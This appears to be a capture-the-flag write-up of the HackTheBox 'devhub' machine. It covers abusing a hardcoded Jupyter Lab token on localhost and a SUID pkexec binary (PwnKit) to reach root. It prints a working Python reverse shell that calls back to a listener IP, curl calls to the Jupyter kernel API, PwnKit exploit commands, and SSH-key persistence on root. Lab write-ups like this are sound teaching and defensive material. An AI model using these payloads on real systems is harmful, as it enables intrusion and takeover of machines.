← back to write ups

write up

devhub

hackthebox medium linux view on htb ↗

overview

devhub is a medium linux box simulating an internal development platform. the web application exposes an attack surface that leads to a low-privilege shell, from which a jupyter lab instance running on localhost with a hardcoded token is discovered. abusing the jupyter kernel api over websocket delivers a reverse shell as the manalyst user. privilege escalation to root exploits a suid pkexec binary via pwnkit.

enumeration

nmap scan

nmap -sC -sV -T4 -oA nmap_initial 10.129.103.74

two ports open:

web application exploitation

the devhub platform presented an internal developer dashboard. enumeration of the web application uncovered a vulnerability that provided initial code execution on the box, landing a shell as a low-privilege user. from this foothold, system enumeration was performed to identify paths to privilege escalation.

jupyter lab discovery

running linpeas.sh highlighted a jupyter lab process owned by manalyst, listening on localhost port 8888 with a static token hardcoded in the startup command:

/home/analyst/jupyter-env/bin/python3 \
  /home/analyst/jupyter-env/bin/jupyter-lab \
  --ip=127.0.0.1 --port=8888 --no-browser \
  --notebook-dir=/home/analyst/notebooks \
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

the jupyter rest api requires only this token for authentication, making it fully accessible from the existing low-privilege shell via localhost.

jupyter kernel rce

the jupyter api allows creating a python kernel and executing arbitrary code through it. a kernel was created via the rest api, then a websocket connection to the kernel's channel was used to send an execute_request message containing a python reverse shell:

# Step 1, create kernel
curl -s -X POST http://localhost:8888/api/kernels \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'
# Step 2, connect via WebSocket and execute reverse shell
# (kernel_id from step 1 response)
python3 jupyter_ws.py  # WebSocket client delivering shell payload

the payload executed in the kernel's context:

import socket,subprocess,os
s=socket.socket()
s.connect(("10.10.14.17",4446))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

the listener caught a shell as manalyst. user flag retrieved.

privilege escalation, pwnkit (pkexec suid)

further enumeration revealed /usr/bin/pkexec with the suid bit set:

-rwsr-xr-x 1 root root 30872 /usr/bin/pkexec

pwnkit exploits a memory corruption vulnerability in pkexec to execute code as root. a compiled shared object was delivered to the target and the exploit was triggered:

# Compile exploit shared object
gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/lol.so /tmp/pwnkit/pwnkit.c

# Execute via pkexec
python3 pwnkit.py /usr/bin/pkexec lol.so lol VALUE

an ssh public key was added to /root/.ssh/authorized_keys through the root shell, providing persistent access:

mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA..." >> ~/.ssh/authorized_keys
ssh -i analyst_devhub root@devhub.htb

key takeaways

this box illustrates two real-world mistakes that compound each other: exposing an internal service (jupyter lab) on localhost with a static hardcoded token, discoverable through process enumeration, and leaving a suid pkexec on a vulnerable version. neither mistake alone is fatal in isolation, but together they form a complete root chain. jupyter notebooks should never be run with static tokens in production environments.